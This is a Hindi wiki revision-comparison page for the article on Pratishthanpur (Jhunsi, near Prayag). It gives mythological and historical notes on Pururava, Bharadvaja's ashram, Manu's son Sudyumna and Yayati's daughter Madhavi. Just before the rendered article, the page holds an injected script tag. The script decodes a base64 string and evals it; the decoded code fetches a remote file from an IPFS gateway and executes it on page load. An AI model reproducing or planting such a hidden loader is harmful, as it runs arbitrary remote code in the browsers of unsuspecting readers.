"प्रतिष्ठानपुर" के अवतरणों में अंतर
नेविगेशन पर जाएँ
खोज पर जाएँ
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - '[[category' to '[[Category') |
|||
पंक्ति १: | पंक्ति १: | ||
{{menu}} | {{menu}} | ||
==प्रतिष्ठानपुर / Pratishthanpur== | ==प्रतिष्ठानपुर / Pratishthanpur== | ||
− | [[पुरूरवा]] की राजधानी प्रतिष्ठानपुर [[गंगा]] के उत्तरी तट पर थी । भारद्वाज ऋषि का आश्रम भी यहीं पर था । प्रयाग- संगम स्थान, [[अश्वमेध यज्ञ|अश्वमेध]] फलदाता, स्वर्गप्रदाता सब कुछ है । प्रतिष्ठानपुर नगर में वाराह मिहिर एवं भद्रबाहु दोनों सगे भाई थे । राजा त्रिलोचन पाल 1027 ई. में प्रयाग के प्रतिष्ठान पुर में रहते थे । इन्होंने प्रतिष्ठानपुर के एक तीर्थ पुरोहित को ग्राम दान में दिया था । इनके वंश के तीर्थ पुरोहित प्रतिष्ठानपुर ( झूँसी ) में आज भी विद्यमान है । राजा पुरुरवा सोम-वंश के आदि पुरुष हुए हैं । उनकी राजधानी [[इलाहाबाद|प्रयाग]] के पास, प्रतिष्ठानपुर में | + | *[[पुरूरवा]] की राजधानी प्रतिष्ठानपुर [[गंगा]] के उत्तरी तट पर थी । [[भारद्वाज]] ऋषि का आश्रम भी यहीं पर था । प्रयाग- संगम स्थान, [[अश्वमेध यज्ञ|अश्वमेध]] फलदाता, स्वर्गप्रदाता सब कुछ है । |
+ | *प्रतिष्ठानपुर नगर में वाराह मिहिर एवं भद्रबाहु दोनों सगे भाई थे । राजा त्रिलोचन पाल 1027 ई. में प्रयाग के प्रतिष्ठान पुर में रहते थे । इन्होंने प्रतिष्ठानपुर के एक तीर्थ पुरोहित को ग्राम दान में दिया था । इनके वंश के तीर्थ पुरोहित प्रतिष्ठानपुर ( झूँसी ) में आज भी विद्यमान है । राजा पुरुरवा सोम-वंश के आदि पुरुष हुए हैं । उनकी राजधानी [[इलाहाबाद|प्रयाग]] के पास, प्रतिष्ठानपुर में थी। | ||
+ | *[[पुराण|पुराणों]] में कहा गया है कि जब [[वैवस्वत|मनु]] और [[श्रद्धा]] को सन्तान की इच्छा हुई, उन्होंने वसिष्ठ ऋषि से यज्ञ करवाया । श्रद्धा की मनोकामना थी कि वे कन्या की माता बनें, मनु चाहते थे कि उन्हें पुत्र प्राप्त हो । किन्तु, इस यज्ञ से कन्या ही उत्पन्न हुई । पीछे, मनु की निराशा से द्रवित होकर वसिष्ठ ने उसे पुत्र बना दिया । मनु के इस पुत्र का नाम सुद्युम्न पड़ा । | ||
+ | *प्रतिष्ठानपुर [[इलाहाबाद]] में गंगा पार का ( झूँसी क्षेत्र) के नरेश ययाति की पुत्री माधवी एक राजपुत्री थी । राजपुरुषों की संगिनी थी । राजमाता थी । किन्तु जीवन भर अरण्यबाला बनी तपस्या करती रही । [[गंगा]] और [[यमुना]] के मध्यवर्ती पुरातन प्रदेश में आर्य संस्कृति का सर्वोत्तम रुप सजाया और सँवारा गया था । उनके संगम पर ही आर्य सभ्यता के आदिम केन्द्र 'प्रतिष्ठानपुर' (वर्तमान प्रयाग के समीप 'झूँसी') की स्थापना हुई थी । | ||
[[Category: कोश]] | [[Category: कोश]] | ||
[[Category: पौराणिक स्थान]] | [[Category: पौराणिक स्थान]] | ||
__INDEX__ | __INDEX__ |
१३:२९, १३ अप्रैल २०१० का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
प्रतिष्ठानपुर / Pratishthanpur
- पुरूरवा की राजधानी प्रतिष्ठानपुर गंगा के उत्तरी तट पर थी । भारद्वाज ऋषि का आश्रम भी यहीं पर था । प्रयाग- संगम स्थान, अश्वमेध फलदाता, स्वर्गप्रदाता सब कुछ है ।
- प्रतिष्ठानपुर नगर में वाराह मिहिर एवं भद्रबाहु दोनों सगे भाई थे । राजा त्रिलोचन पाल 1027 ई. में प्रयाग के प्रतिष्ठान पुर में रहते थे । इन्होंने प्रतिष्ठानपुर के एक तीर्थ पुरोहित को ग्राम दान में दिया था । इनके वंश के तीर्थ पुरोहित प्रतिष्ठानपुर ( झूँसी ) में आज भी विद्यमान है । राजा पुरुरवा सोम-वंश के आदि पुरुष हुए हैं । उनकी राजधानी प्रयाग के पास, प्रतिष्ठानपुर में थी।
- पुराणों में कहा गया है कि जब मनु और श्रद्धा को सन्तान की इच्छा हुई, उन्होंने वसिष्ठ ऋषि से यज्ञ करवाया । श्रद्धा की मनोकामना थी कि वे कन्या की माता बनें, मनु चाहते थे कि उन्हें पुत्र प्राप्त हो । किन्तु, इस यज्ञ से कन्या ही उत्पन्न हुई । पीछे, मनु की निराशा से द्रवित होकर वसिष्ठ ने उसे पुत्र बना दिया । मनु के इस पुत्र का नाम सुद्युम्न पड़ा ।
- प्रतिष्ठानपुर इलाहाबाद में गंगा पार का ( झूँसी क्षेत्र) के नरेश ययाति की पुत्री माधवी एक राजपुत्री थी । राजपुरुषों की संगिनी थी । राजमाता थी । किन्तु जीवन भर अरण्यबाला बनी तपस्या करती रही । गंगा और यमुना के मध्यवर्ती पुरातन प्रदेश में आर्य संस्कृति का सर्वोत्तम रुप सजाया और सँवारा गया था । उनके संगम पर ही आर्य सभ्यता के आदिम केन्द्र 'प्रतिष्ठानपुर' (वर्तमान प्रयाग के समीप 'झूँसी') की स्थापना हुई थी ।